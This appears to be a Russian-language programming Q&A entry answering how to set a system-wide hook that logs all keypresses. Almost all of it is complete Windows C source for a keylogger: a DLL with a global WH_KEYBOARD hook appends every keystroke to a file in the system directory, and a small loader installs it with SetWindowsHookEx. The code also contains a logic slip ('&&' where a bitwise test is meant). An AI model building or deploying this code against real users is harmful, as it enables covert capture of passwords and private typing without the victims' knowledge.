Q> Как поставить system-wide хук(например писать в файл все нажатия кнопок)
A>

Для этого хук должен жить в длл.

текст DLL:

BOOL kdown=false;
HANDLE ghDLLInst = 0; // Handle to the DLL's instance.
char logname[MAX_PATH];
char sysdir[MAX_PATH];
DWORD NOfBytes;
BOOL shift=false;
HANDLE LFile;
char buffer[20];

BOOL WINAPI DllMain (HANDLE hModule, DWORD dwFunction, LPVOID lpNot)
{
ghDLLInst = hModule;

switch (dwFunction)
{
case DLL_PROCESS_ATTACH:
{

GetSystemDirectory(
sysdir,
MAX_PATH
);

strcpy(logname,sysdir);
strcat(logname,"\\kbdkeys.txt");

}
case DLL_PROCESS_DETACH:
{
}

default:
break;
}
return TRUE;
}
//------------------------------------------------
LRESULT CALLBACK KeyboardProc(
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
BYTE aa[4];
memcpy(aa,&lParam,4);
kdown=!(aa[3]&&64);
BYTE scancode=aa[2];
BYTE ww[4];
memcpy(ww,&wParam,4);

if (code<0)return CallNextHookEx(NULL,code,wParam,lParam);

if(kdown&&(wParam==VK_SHIFT))shift=true;

if(!kdown&&(wParam==VK_SHIFT))shift=false;

if (kdown&&(wParam!=VK_SHIFT))
{
sprintf( buffer ,"%c",wParam );
if(isalpha(ww[0])&(!shift))wParam=wParam+32;
sprintf( buffer ,"%c",wParam );
if(wParam==VK_RETURN)strcpy(buffer,"\n");

LFile=CreateFile(logname, GENERIC_READ|GENERIC_WRITE,FILE_SHARE_WRITE |
FILE_SHARE_READ |
FILE_SHARE_DELETE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
OVERLAPPED ovlp;
DWORD ffsze=GetFileSize(LFile,NULL);
ovlp.OffsetHigh=0;
ovlp.hEvent=NULL;
ovlp.Offset=ffsze;

WriteFile(LFile,buffer,strlen(buffer),&NOfBytes,&ovlp);

CloseHandle(LFile);
}
return CallNextHookEx(NULL,code,wParam,lParam);
}
//----------------------------------------------------------------------//
текст приложения:

#include <commdlg.h>
#include <stdlib.h>
#include <winnls.h>

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow);

//---------------------------------------------------------------------//
BOOL
SetHook(
BOOL fSet
)
{
static HHOOK hhkKbdHook = NULL;
static HANDLE hmodHook;

if (fSet)
{
if (!hmodHook)
{
if (!(hmodHook = LoadLibrary("kbdh.dll"))) //вышеприведенная длл
{
return FALSE;
}
}

if (!hhkKbdHook)
{
if (!(hhkKbdHook =
SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)
GetProcAddress((HINSTANCE)hmodHook,"KeyboardProc"),(HINSTANCE)hmodHook,0)))
{
return FALSE;
}
}

}
else
{
if (hhkKbdHook)
{
UnhookWindowsHookEx(hhkKbdHook);
hhkKbdHook = NULL;
}

}

return TRUE;
}
//--------------------------------------------------------------------//
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow)
{
if(!SetHook(true))MessageBox(NULL,"zad","zad",MB_OK);
MSG msg;

while (GetMessage (&msg, NULL, 0, 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
return( 0 );
}